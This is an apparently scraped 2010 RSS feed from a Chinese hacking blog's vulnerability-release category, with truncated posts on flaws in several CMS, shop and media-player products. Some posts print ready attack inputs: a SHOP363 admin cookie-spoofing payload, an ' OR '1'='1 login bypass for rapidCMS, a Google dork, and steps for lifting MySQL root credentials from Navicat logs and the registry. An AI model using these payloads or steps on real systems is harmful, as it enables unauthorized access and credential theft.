凌风[0x0F]'s BloG - 漏洞发布http://www.l14of.com/Get More Fun! - RainbowSoft Studio Z-Blog 1.8 Walle Build 100427zh-CN请注意:本站部分文章为网络转载,如有侵权及非法行为,请联系站长Email:web#l14of.com,谢谢合作Sun, 05 Sep 2010 07:42:14 +0800动易６.６　６.７注入漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/79.htmlFri, 13 Aug 2010 08:53:52 +0800http://www.l14of.com/post/79.html[!]作者 :seraph
[!]QQ :81413170
[!]程序名称 ;动易
[!]包含版本 :6.6,6.7
[!]漏洞文件 :payonline/autorecive1.asp
[!]漏洞描述 :参数未过滤，可产生注入漏洞
[!]危害程度 :低
[!]首发日期 :2010-8-12
************************************************************************
...

]]>漏洞发布http://www.l14of.com/post/79.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=79http://www.l14of.com/cmd.asp?act=tb&id=79&key=bedeb37cQQ2010SP1(版本号1760)有巨大漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/71.htmlWed, 28 Jul 2010 19:39:30 +0800http://www.l14of.com/post/71.htmlhttp://hi.baidu.com/hnaker/blog/item/3ff5633d46918ff7828b1387.html

 

]]>漏洞发布http://www.l14of.com/post/71.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=71http://www.l14of.com/cmd.asp?act=tb&id=71&key=79a436f3利用navicat提权wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/69.htmlMon, 26 Jul 2010 01:23:42 +0800http://www.l14of.com/post/69.htmlnavicat是一个比较流行的MySQL管理工具，在很多服务器上都可以找到

有两个方法提权：

1、从日志文件里找密码，navicat会把操作日志（比如加账户）保存到My Documents\Navicat\MySQL\logs下的LogHistory.txt，低版本是安装目录下的logs下LogHistory.txt

2、navicat管理的MySQL服务器信息（一般是root帐户）是存在注册表里的，具体是HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers下，导出注册表导入到本机然后星号察看就OK了。。
...

]]>漏洞发布http://www.l14of.com/post/69.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=69http://www.l14of.com/cmd.asp?act=tb&id=69&key=a6a3882eSHOP363网店系统通杀漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/68.htmlMon, 26 Jul 2010 01:23:19 +0800http://www.l14of.com/post/68.htmlCOOKIES欺骗，下面的是COOKIES利用代码：


Sy%5FShops=TFlags=1%2C2%2C3%2C4%2C5%2C11%2C12%_2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C21%2C22%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C41%2C42%2C43%_2C44%2C51%2C52%2C53%2C54%2C55%2C56%2C61%2C62%2C63%2C64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or';

...]]>漏洞发布http://www.l14of.com/post/68.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=68http://www.l14of.com/cmd.asp?act=tb&id=68&key=8dd3a8dfdedecms5.6注入漏洞分析与利用wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/67.htmlSun, 25 Jul 2010 13:48:17 +0800http://www.l14of.com/post/67.html转自xhming

]]>漏洞发布http://www.l14of.com/post/67.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=67http://www.l14of.com/cmd.asp?act=tb&id=67&key=9ae0c7c6马克斯CMS2.0beta (maxcms)SQL注入和管理员认证绕过漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/66.htmlSun, 25 Jul 2010 13:42:48 +0800http://www.l14of.com/post/66.html这个系统是国内非常流行的视频点播系统，之前的1.5版本漏洞非常多，2.0版本在安全方面有所提高，但是依然有漏洞存在。

]]>漏洞发布http://www.l14of.com/post/66.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=66http://www.l14of.com/cmd.asp?act=tb&id=66&key=2f5b206dQQPlayer 文件缓冲区溢出漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/65.htmlSun, 25 Jul 2010 11:26:44 +0800http://www.l14of.com/post/65.htmlQQPlayerCUE文件缓冲区溢出漏洞...]]>漏洞发布http://www.l14of.com/post/65.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=65http://www.l14of.com/cmd.asp?act=tb&id=65&key=3b0952b9EZ-Oscommerce 3.1 文件上传漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/64.htmlSun, 25 Jul 2010 11:11:04 +0800http://www.l14of.com/post/64.htmlEZ-Oscommerce 3.1程序针对其上传进行严格验证和过滤，可以上传任意恶意代码。google :Powered by osCommerce 或者Customized by EZ-Oscommerce

]]>漏洞发布http://www.l14of.com/post/64.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=64http://www.l14of.com/cmd.asp?act=tb&id=64&key=5fccab34rapidCMS V2 后台认证绕过漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/63.htmlSun, 25 Jul 2010 11:10:28 +0800http://www.l14of.com/post/63.htmlrapidCMS V2 后台登录认证未经过严格过滤，导致万能密码绕过漏洞。

利用方法：

User:xxoo
Pass: ' OR '1'='1

Demo : http://site/admin.php

]]>漏洞发布http://www.l14of.com/post/63.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=63http://www.l14of.com/cmd.asp?act=tb&id=63&key=817fc94aQQ影音ASX和CUE文件处理栈溢出漏洞wantusirui@foxmail.com (0x0F)http://www.l14of.com/post/62.htmlSun, 25 Jul 2010 11:09:48 +0800http://www.l14of.com/post/62.htmlQQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。用户受骗使用QQ影音打开了特制的ASX或CUE文件就可以触发栈溢出，导致执行任意代码。
测试代码：
#!/usr/bin/env python#################################################################...
]]>漏洞发布http://www.l14of.com/post/62.html#commenthttp://www.l14of.com/http://www.l14of.com/feed.asp?cmt=62http://www.l14of.com/cmd.asp?act=tb&id=62&key=c1a1235c